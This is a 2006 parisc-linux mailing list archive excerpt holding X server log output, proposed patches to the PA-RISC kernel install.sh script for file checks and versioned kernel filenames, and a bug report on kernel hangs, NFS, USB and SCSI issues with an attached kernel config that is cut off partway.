> > (II) Configured Mouse: ps2EnableDataReporting: succeeded
> > 
> > Could not init font path element unix/:7100, removing from list!
> > 
> > AUDIT: Sun Jan 22 16:09:07 2006: 3943 X: client 4 rejected from local
host
> > 
> >  
> > 
> >  
> > 
> > howlin:/boot# grep -i mouse config-2.6.8-2-32-smp
> > 
> > CONFIG_INPUT_MOUSEDEV=y
> > 
> > CONFIG_INPUT_MOUSEDEV_PSAUX=y
> > 
> > CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
> > 
> > CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
> > 
> > CONFIG_INPUT_MOUSEDEV_PSAUX_ENABLE=y
> > 
> > CONFIG_INPUT_MOUSE=y
> > 
> > CONFIG_MOUSE_PS2=m
> > 
> > CONFIG_MOUSE_SERIAL=m
> > 
> > CONFIG_MOUSE_INPORT=m
> > 
> > # CONFIG_MOUSE_ATIXL is not set
> > 
> > CONFIG_MOUSE_LOGIBM=m
> > 
> > CONFIG_MOUSE_PC110PAD=m
> > 
> > CONFIG_MOUSE_VSXXXAA=m
> > 
> > CONFIG_MOUSE_HIL=m
> > 
> > CONFIG_USB_MOUSE=m
> > 
> >  
> > 
> >  
> > 
> > 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel install.sh patch/enhancement?
Date: Mon, 23 Jan 2006 16:53:40 +0100
Lines: 243
Approved: news@gmane.org
Message-ID: <ITJYTG$104D92B447D6B504FB5F1167C1BF3EF1@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="_=__=_XaM3_.1138031620.2A.356503.42.6427.52.42.007.1649910115"
X-Trace: ger.gmane.org 1416624000 18019 80.91.229.3 (22 Nov 2014 02:40:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:00 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jan 2006 15:53:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 23 Jan 2006 16:53:59 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 98DB17D68F;
	Mon, 23 Jan 2006 08:53:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04474-09; Mon, 23 Jan 2006 08:53:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E6257D693;
	Mon, 23 Jan 2006 08:53:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 383B57D68F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Jan 2006 08:53:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04474-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Jan 2006 08:53:47 -0700 (MST)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 05E5A7D68E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Jan 2006 08:53:46 -0700 (MST)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by oola.is.scarlet.be  with ESMTP id k0NFrdJ15411 
	for <parisc-linux@lists.parisc-linux.org>; 
	Mon, 23 Jan 2006 16:53:39 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QJmmY1REeSEkZr6WZHQhaXN1IGRvb8BD
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23403

--_=__=_XaM3_.1138031620.2A.356503.42.6427.52.42.007.1649910115
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Hello pa*,

Just some small hunck to (I hope) improve our kernel install.sh.

1/ align on the other arch:
--- arch/parisc/install.sh.Orig 2006-01-23 14:18:28.000000000 +0100
+++ arch/parisc/install.sh      2006-01-23 14:26:48.000000000 +0100
@@ -19,10 +19,28 @@
 #   $4 - default install path (blank if root directory)
 #
 
+verify () {
+       if [ ! -f "$1" ]; then
+               echo ""                                                  =
 1>&2
+               echo " *** Missing file: $1"                             =
 1>&2
+               echo ' *** You need to run "make" before "make install".'=
 1>&2
+               echo ""                                                  =
 1>&2
+               exit 1
+       fi
+}
+
+# Make sure the files actually exist
+verify "$2"
+verify "$3"
+
 # User may have a custom install script
 
-if [ -x ~/bin/installkernel ]; then exec ~/bin/installkernel "$@"; fi
-if [ -x /sbin/installkernel ]; then exec /sbin/installkernel "$@"; fi
+if [ -x ~/bin/${CROSS_COMPILE}installkernel ]; then
+       exec ~/bin/${CROSS_COMPILE}installkernel "$@"
+fi
+if [ -x /sbin/${CROSS_COMPILE}installkernel ]; then
+       exec /sbin/${CROSS_COMPILE}installkernel "$@"
+fi
 
 # Default install
 
=3D=3D=3D=3D<>=3D=3D=3D=3D

2/ append kernel version to filename (as many other arch too):
--- arch/parisc/install.sh.Orig 2006-01-23 14:30:17.000000000 +0100
+++ arch/parisc/install.sh      2006-01-23 15:30:30.000000000 +0100
@@ -19,6 +19,8 @@
 #   $4 - default install path (blank if root directory)
 #
 
+KCONF=3D".config"
+
 verify () {
        if [ ! -f "$1" ]; then
                echo ""                                                  =
 1>&2
@@ -32,6 +34,7 @@
 # Make sure the files actually exist
 verify "$2"
 verify "$3"
+verify "$KCONF"
 
 # User may have a custom install script
 
@@ -44,13 +47,18 @@
 
 # Default install
 
-if [ -f $4/vmlinux ]; then
-       mv $4/vmlinux $4/vmlinux.old
+if [ -f $4/vmlinux-$1 ]; then
+       mv $4/vmlinux-$1 $4/vmlinux.old
+fi
+
+if [ -f $4/System.map-$1 ]; then
+       mv $4/System.map-$1 $4/System.old
 fi
 
-if [ -f $4/System.map ]; then
-       mv $4/System.map $4/System.old
+if [ -f $4/config-$1 ]; then
+       mv $4/config-$1 $4/config.old
 fi
 
-cat $2 > $4/vmlinux
-cp $3 $4/System.map
+cat $2 > $4/vmlinux-$1
+cp $3 $4/System.map-$1
+cp .config $4/config-$1

3/ my paranoid check (because by /boot is a fs usualy mounted in ro, as I=

presume most of sysadm ;-?) 
--- arch/parisc/install.sh.Orig 2006-01-23 15:32:42.000000000 +0100
+++ arch/parisc/install.sh      2006-01-23 15:57:24.000000000 +0100
@@ -19,6 +19,26 @@
 #   $4 - default install path (blank if root directory)
 #
 
+# Verify default install path
+if [ -d $4 ]; then
+       cat /dev/null > $4/banner
+       RC=3D$?
+       if [ $RC -ne 0 ]; then
+               echo ""                                         1>&2
+               echo " *** Verify your access to $4"            1>&2
+               echo ""                                         1>&2
+               exit 1
+       else
+               rm -f $4/banner
+       fi
+else
+       echo ""                                                 1>&2
+       echo " *** Missing directory: $1"                       1>&2
+       echo ' *** You need to run "make -p $4" before.'        1>&2
+       echo ""                                                 1>&2
+       exit 1
+fi
+
 KCONF=3D".config"
 
 verify () {
@@ -62,3 +82,13 @@
 cat $2 > $4/vmlinux-$1
 cp $3 $4/System.map-$1
 cp .config $4/config-$1
+
+if [ -h $4/vmlinux ]; then
+       mv $4/vmlinux $4/vmlinux.prev
+       ln -sf $4/vmlinux-$1 $4/vmlinux
+fi
+
+if [ -h $4/System.map ]; then
+       mv $4/System.map $4/System.prev
+       ln -sf $4/System.map-$1 $4/System.map
+fi
=3D=3D=3D=3D<>=3D=3D=3D=3D

Don't hesistate to ci the stuff you fill of best interest (no cvs ci acce=
ss).

TIA,
    Joel
 
PS: also attached those 3 hunk because quiet sure of bad wraping, though.=
=0A=0A---------------------------------------------------------------=0AA=
 free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore inf=
o on http://www.scarlet.be/
--_=__=_XaM3_.1138031620.2A.356503.42.6427.52.42.007.1649910115
Content-Type: application/octet-stream;
	name="=?iso-8859-1?Q?arch=5Fparisc=5Finstall.sh.diff-1?="
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="=?iso-8859-1?Q?arch=5Fparisc=5Finstall.sh.diff-1?="

LS0tIGFyY2gvcGFyaXNjL2luc3RhbGwuc2guT3JpZwkyMDA2LTAxLTIzIDE0OjE4OjI4LjAw
MDAwMDAwMCArMDEwMAorKysgYXJjaC9wYXJpc2MvaW5zdGFsbC5zaAkyMDA2LTAxLTIzIDE0
OjI2OjQ4LjAwMDAwMDAwMCArMDEwMApAQCAtMTksMTAgKzE5LDI4IEBACiAjICAgJDQgLSBk
ZWZhdWx0IGluc3RhbGwgcGF0aCAoYmxhbmsgaWYgcm9vdCBkaXJlY3RvcnkpCiAjCiAKK3Zl
cmlmeSAoKSB7CisJaWYgWyAhIC1mICIkMSIgXTsgdGhlbgorCQllY2hvICIiCQkJCQkJCSAg
MT4mMgorCQllY2hvICIgKioqIE1pc3NpbmcgZmlsZTogJDEiCQkJCSAgMT4mMgorCQllY2hv
ICcgKioqIFlvdSBuZWVkIHRvIHJ1biAibWFrZSIgYmVmb3JlICJtYWtlIGluc3RhbGwiLicg
MT4mMgorCQllY2hvICIiCQkJCQkJCSAgMT4mMgorCQlleGl0IDEKKwlmaQorfQorCisjIE1h
a2Ugc3VyZSB0aGUgZmlsZXMgYWN0dWFsbHkgZXhpc3QKK3ZlcmlmeSAiJDIiCit2ZXJpZnkg
IiQzIgorCiAjIFVzZXIgbWF5IGhhdmUgYSBjdXN0b20gaW5zdGFsbCBzY3JpcHQKIAotaWYg
WyAteCB+L2Jpbi9pbnN0YWxsa2VybmVsIF07IHRoZW4gZXhlYyB+L2Jpbi9pbnN0YWxsa2Vy
bmVsICIkQCI7IGZpCi1pZiBbIC14IC9zYmluL2luc3RhbGxrZXJuZWwgXTsgdGhlbiBleGVj
IC9zYmluL2luc3RhbGxrZXJuZWwgIiRAIjsgZmkKK2lmIFsgLXggfi9iaW4vJHtDUk9TU19D
T01QSUxFfWluc3RhbGxrZXJuZWwgXTsgdGhlbgorCWV4ZWMgfi9iaW4vJHtDUk9TU19DT01Q
SUxFfWluc3RhbGxrZXJuZWwgIiRAIgorZmkKK2lmIFsgLXggL3NiaW4vJHtDUk9TU19DT01Q
SUxFfWluc3RhbGxrZXJuZWwgXTsgdGhlbgorCWV4ZWMgL3NiaW4vJHtDUk9TU19DT01QSUxF
fWluc3RhbGxrZXJuZWwgIiRAIgorZmkKIAogIyBEZWZhdWx0IGluc3RhbGwKIAo=

--_=__=_XaM3_.1138031620.2A.356503.42.6427.52.42.007.1649910115
Content-Type: application/octet-stream;
	name="=?iso-8859-1?Q?arch=5Fparisc=5Finstall.sh.diff-2?="
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="=?iso-8859-1?Q?arch=5Fparisc=5Finstall.sh.diff-2?="

LS0tIGFyY2gvcGFyaXNjL2luc3RhbGwuc2guT3JpZwkyMDA2LTAxLTIzIDE0OjMwOjE3LjAw
MDAwMDAwMCArMDEwMAorKysgYXJjaC9wYXJpc2MvaW5zdGFsbC5zaAkyMDA2LTAxLTIzIDE1
OjMwOjMwLjAwMDAwMDAwMCArMDEwMApAQCAtMTksNiArMTksOCBAQAogIyAgICQ0IC0gZGVm
YXVsdCBpbnN0YWxsIHBhdGggKGJsYW5rIGlmIHJvb3QgZGlyZWN0b3J5KQogIwogCitLQ09O
Rj0iLmNvbmZpZyIKKwogdmVyaWZ5ICgpIHsKIAlpZiBbICEgLWYgIiQxIiBdOyB0aGVuCiAJ
CWVjaG8gIiIJCQkJCQkJICAxPiYyCkBAIC0zMiw2ICszNCw3IEBACiAjIE1ha2Ugc3VyZSB0
aGUgZmlsZXMgYWN0dWFsbHkgZXhpc3QKIHZlcmlmeSAiJDIiCiB2ZXJpZnkgIiQzIgordmVy
aWZ5ICIkS0NPTkYiCiAKICMgVXNlciBtYXkgaGF2ZSBhIGN1c3RvbSBpbnN0YWxsIHNjcmlw
dAogCkBAIC00NCwxMyArNDcsMTggQEAKIAogIyBEZWZhdWx0IGluc3RhbGwKIAotaWYgWyAt
ZiAkNC92bWxpbnV4IF07IHRoZW4KLQltdiAkNC92bWxpbnV4ICQ0L3ZtbGludXgub2xkCitp
ZiBbIC1mICQ0L3ZtbGludXgtJDEgXTsgdGhlbgorCW12ICQ0L3ZtbGludXgtJDEgJDQvdm1s
aW51eC5vbGQKK2ZpCisKK2lmIFsgLWYgJDQvU3lzdGVtLm1hcC0kMSBdOyB0aGVuCisJbXYg
JDQvU3lzdGVtLm1hcC0kMSAkNC9TeXN0ZW0ub2xkCiBmaQogCi1pZiBbIC1mICQ0L1N5c3Rl
bS5tYXAgXTsgdGhlbgotCW12ICQ0L1N5c3RlbS5tYXAgJDQvU3lzdGVtLm9sZAoraWYgWyAt
ZiAkNC9jb25maWctJDEgXTsgdGhlbgorCW12ICQ0L2NvbmZpZy0kMSAkNC9jb25maWcub2xk
CiBmaQogCi1jYXQgJDIgPiAkNC92bWxpbnV4Ci1jcCAkMyAkNC9TeXN0ZW0ubWFwCitjYXQg
JDIgPiAkNC92bWxpbnV4LSQxCitjcCAkMyAkNC9TeXN0ZW0ubWFwLSQxCitjcCAuY29uZmln
ICQ0L2NvbmZpZy0kMQo=

--_=__=_XaM3_.1138031620.2A.356503.42.6427.52.42.007.1649910115
Content-Type: application/octet-stream;
	name="=?iso-8859-1?Q?arch=5Fparisc=5Finstall.sh.diff-3?="
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="=?iso-8859-1?Q?arch=5Fparisc=5Finstall.sh.diff-3?="

LS0tIGFyY2gvcGFyaXNjL2luc3RhbGwuc2guT3JpZwkyMDA2LTAxLTIzIDE1OjMyOjQyLjAw
MDAwMDAwMCArMDEwMAorKysgYXJjaC9wYXJpc2MvaW5zdGFsbC5zaAkyMDA2LTAxLTIzIDE1
OjU3OjI0LjAwMDAwMDAwMCArMDEwMApAQCAtMTksNiArMTksMjYgQEAKICMgICAkNCAtIGRl
ZmF1bHQgaW5zdGFsbCBwYXRoIChibGFuayBpZiByb290IGRpcmVjdG9yeSkKICMKIAorIyBW
ZXJpZnkgZGVmYXVsdCBpbnN0YWxsIHBhdGgKK2lmIFsgLWQgJDQgXTsgdGhlbgorCWNhdCAv
ZGV2L251bGwgPiAkNC9iYW5uZXIKKwlSQz0kPworCWlmIFsgJFJDIC1uZSAwIF07IHRoZW4K
KwkJZWNobyAiIgkJCQkJCTE+JjIKKwkJZWNobyAiICoqKiBWZXJpZnkgeW91ciBhY2Nlc3Mg
dG8gJDQiCQkxPiYyCisJCWVjaG8gIiIJCQkJCQkxPiYyCisJCWV4aXQgMQorCWVsc2UKKwkJ
cm0gLWYgJDQvYmFubmVyCisJZmkKK2Vsc2UKKwllY2hvICIiCQkJCQkJCTE+JjIKKwllY2hv
ICIgKioqIE1pc3NpbmcgZGlyZWN0b3J5OiAkMSIJCQkxPiYyCisJZWNobyAnICoqKiBZb3Ug
bmVlZCB0byBydW4gIm1ha2UgLXAgJDQiIGJlZm9yZS4nCTE+JjIKKwllY2hvICIiCQkJCQkJ
CTE+JjIKKwlleGl0IDEKK2ZpCisKIEtDT05GPSIuY29uZmlnIgogCiB2ZXJpZnkgKCkgewpA
QCAtNjIsMyArODIsMTMgQEAKIGNhdCAkMiA+ICQ0L3ZtbGludXgtJDEKIGNwICQzICQ0L1N5
c3RlbS5tYXAtJDEKIGNwIC5jb25maWcgJDQvY29uZmlnLSQxCisKK2lmIFsgLWggJDQvdm1s
aW51eCBdOyB0aGVuCisJbXYgJDQvdm1saW51eCAkNC92bWxpbnV4LnByZXYKKwlsbiAtc2Yg
JDQvdm1saW51eC0kMSAkNC92bWxpbnV4CitmaQorCitpZiBbIC1oICQ0L1N5c3RlbS5tYXAg
XTsgdGhlbgorCW12ICQ0L1N5c3RlbS5tYXAgJDQvU3lzdGVtLnByZXYKKwlsbiAtc2YgJDQv
U3lzdGVtLm1hcC0kMSAkNC9TeXN0ZW0ubWFwCitmaQo=

--_=__=_XaM3_.1138031620.2A.356503.42.6427.52.42.007.1649910115
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--_=__=_XaM3_.1138031620.2A.356503.42.6427.52.42.007.1649910115--



From - Thu Nov 08 21:34:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dmitry" <dpavlushko@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bugreport kernels 2.6.15.1-pa4, 2.6.16-rc1-pa(1-2)
Date: Wed, 25 Jan 2006 15:13:57 -0800
Lines: 32319
Approved: news@gmane.org
Message-ID: <BAY107-DAV35C6BB2F147B6F3DEFF72CA120@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_NextPart_000_0076_01C621C1.F67DEB90"
X-Trace: ger.gmane.org 1416624000 18025 80.91.229.3 (22 Nov 2014 02:40:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:00 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jan 2006 01:51:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 26 Jan 2006 02:51:55 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 016F17D6CB;
	Wed, 25 Jan 2006 18:51:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30046-04; Wed, 25 Jan 2006 18:51:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2306B7D6CC;
	Wed, 25 Jan 2006 18:51:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C64D97D6CC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Jan 2006 16:14:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28317-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Jan 2006 16:14:03 -0700 (MST)
Original-Received: from hotmail.com (bay107-dav3.bay107.hotmail.com [64.4.51.75])
	by free.linux.hp.com (Postfix) with ESMTP id 530637D6CB
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Jan 2006 16:14:02 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	Wed, 25 Jan 2006 15:13:58 -0800
Original-Received: from 198.102.62.250 by BAY107-DAV3.phx.gbl with DAV;
	Wed, 25 Jan 2006 23:13:57 +0000
X-Originating-IP: [198.102.62.250]
X-Originating-Email: [dpavlushko@hotmail.com]
X-Sender: dpavlushko@hotmail.com
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.2670
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2670
X-OriginalArrivalTime: 25 Jan 2006 23:13:58.0168 (UTC)
	FILETIME=[050EE180:01C62205]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Wed, 25 Jan 2006 18:51:33 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aE6qYwFQeSEkO76WZHQhaXN1IGRvb0DZ
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23404

This is a multi-part message in MIME format.

------=_NextPart_000_0076_01C621C1.F67DEB90
Content-Type: text/plain; format=flowed; charset="iso-8859-1";
	reply-type=original
Content-Transfer-Encoding: 7bit

Sorry if I sent it several times.

I've experienced following problems:

1. 64bit kernel hangs on C360 (model 9000/785/C360).
 Exactly the same configuration but 32 bit version boots very well.
 Sorry no HPMC report (need null modem)
 It's look like 64bit hanging on buses/IO scan (not sure).

 2. 2.6.16-rc1-pa(1-2) 32bit version NFS server has problem too (client side
 mount failed -
 nfs_fhget: iget failed).

 3. kernel 2.6.15.1-pa4 (gentoo) needs irqpoll when I installed PCI USB
 (ALi)controller.
 Without "irqpoll" syslog full of this : Dino 0xf2000000: stuck interrupt 1

 4. SCSI sym-2 issue
 kernel 2.6.15.1-pa4
    dmesg shows:
    scsi0 : sym-2.2.2
    ....
    target0:0:3: FAST-20 SCSI 20.0 MB/s ST (50 ns, offset 16)

 when I boot from livecd (2.6.12)
    dmesg shows:
    scsi0 : sym-2.2.0
    ....
    target0:0:3: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 16)

 HDD speed differences about 20%


 I'm using cross compiler gnu-3.4.5 and binutils 2.16.1-r1

 Thanks
Dmitry

P.S. LiveCD kernel 2.6.12 64bit boots ok


------=_NextPart_000_0076_01C621C1.F67DEB90
Content-Type: application/octet-stream;
	name="config-2.6.16-rc1-pa2-32"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="config-2.6.16-rc1-pa2-32"

#=0A=
# Automatically generated make config: don't edit=0A=
# Linux kernel version: 2.6.16-rc1-pa2=0A=
# Sun Jan 22 00:57:22 2006=0A=
#=0A=
CONFIG_PARISC=3Dy=0A=
CONFIG_MMU=3Dy=0A=
CONFIG_STACK_GROWSUP=3Dy=0A=
CONFIG_RWSEM_GENERIC_SPINLOCK=3Dy=0A=
CONFIG_GENERIC_CALIBRATE_DELAY=3Dy=0A=
CONFIG_GENERIC_HARDIRQS=3Dy=0A=
CONFIG_GENERIC_IRQ_PROBE=3Dy=0A=
=0A=
#=0A=
# Code maturity level options=0A=
#=0A=
CONFIG_EXPERIMENTAL=3Dy=0A=
CONFIG_CLEAN_COMPILE=3Dy=0A=
CONFIG_BROKEN_ON_SMP=3Dy=0A=
CONFIG_INIT_ENV_ARG_LIMIT=3D32=0A=
=0A=
#=0A=
# General setup=0A=
#=0A=
CONFIG_LOCALVERSION=3D"-32"=0A=
# CONFIG_LOCALVERSION_AUTO is not set=0A=
CONFIG_SWAP=3Dy=0A=
CONFIG_SYSVIPC=3Dy=0A=
CONFIG_POSIX_MQUEUE=3Dy=0A=
# CONFIG_BSD_PROCESS_ACCT is not set=0A=
CONFIG_SYSCTL=3Dy=0A=
# CONFIG_AUDIT is not set=0A=
CONFIG_IKCONFIG=3Dy=0A=
CONFIG_IKCONFIG_PROC=3Dy=0A=
CONFIG_INITRAMFS_SOURCE=3D""=0A=
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set=0A=
# CONFIG_EMBEDDED is not set=0A=
CONFIG_KALLSYMS=3Dy=0A=
# CONFIG_KALLSYMS_EXTRA_PASS is not set=0A=
CONFIG_HOTPLUG=3Dy=0A=
CONFIG_PRINTK=3Dy=0A=
CONFIG_BUG=3Dy=0A=
CONFIG_ELF_CORE=3Dy=0A=
CONFIG_BASE_FULL=3Dy=0A=
CONFIG_FUTEX=3Dy=0A=
CONFIG_EPOLL=3Dy=0A=
CONFIG_SHMEM=3Dy=0A=
CONFIG_CC_ALIGN_FUNCTIONS=3D0=0A=
CONFIG_CC_ALIGN_LABELS=3D0=0A=
CONFIG_CC_ALIGN_LOOPS=3D0=0A=
CONFIG_CC_ALIGN_JUMPS=3D0=0A=
CONFIG_SLAB=3Dy=0A=
# CONFIG_TINY_SHMEM is not set=0A=
CONFIG_BASE_SMALL=3D0=0A=
# CONFIG_SLOB is not set=0A=
=0A=
#=0A=
# Loadable module support=0A=
#=0A=
CONFIG_MODULES=3Dy=0A=
CONFIG_MODULE_UNLOAD=3Dy=0A=
# CONFIG_MODULE_FORCE_UNLOAD is not set=0A=
CONFIG_OBSOLETE_MODPARM=3Dy=0A=
# CONFIG_MODVERSIONS is not set=0A=
# CONFIG_MODULE_SRCVERSION_ALL is not set=0A=
CONFIG_KMOD=3Dy=0A=
=0A=
#=0A=
# Block layer=0A=
#=0A=
=0A=
#=0A=
# IO Schedulers=0A=
#=0A=
CONFIG_IOSCHED_NOOP=3Dy=0A=
CONFIG_IOSCHED_AS=3Dy=0A=
CONFIG_IOSCHED_DEADLINE=3Dy=0A=
CONFIG_IOSCHED_CFQ=3Dy=0A=
CONFIG_DEFAULT_AS=3Dy=0A=
# CONFIG_DEFAULT_DEADLINE is not set=0A=
# CONFIG_DEFAULT_CFQ is not set=0A=
# CONFIG_DEFAULT_NOOP is not set=0A=
CONFIG_DEFAULT_IOSCHED=3D"anticipatory"=0A=
=0A=
#=0A=
# Processor type and features=0A=
#=0A=
# CONFIG_PA7000 is not set=0A=
# CONFIG_PA7100LC is not set=0A=
# CONFIG_PA7200 is not set=0A=
# CONFIG_PA7300LC is not set=0A=
CONFIG_PA8X00=3Dy=0A=
CONFIG_PA20=3Dy=0A=
CONFIG_PREFETCH=3Dy=0A=
# CONFIG_64BIT is not set=0A=
# CONFIG_SMP is not set=0A=
# CONFIG_HZ_100 is not set=0A=
CONFIG_HZ_250=3Dy=0A=
# CONFIG_HZ_1000 is not set=0A=
CONFIG_HZ=3D250=0A=
CONFIG_SELECT_MEMORY_MODEL=3Dy=0A=
CONFIG_FLATMEM_MANUAL=3Dy=0A=
# CONFIG_DISCONTIGMEM_MANUAL is not set=0A=
# CONFIG_SPARSEMEM_MANUAL is not set=0A=
CONFIG_FLATMEM=3Dy=0A=
CONFIG_FLAT_NODE_MEM_MAP=3Dy=0A=
# CONFIG_SPARSEMEM_STATIC is not set=0A=
CONFIG_SPLIT_PTLOCK_CPUS=3D4=0A=
# CONFIG_PREEMPT is not set=0A=
# CONFIG_HPUX is not set=0A=
=0A=
#=0A=
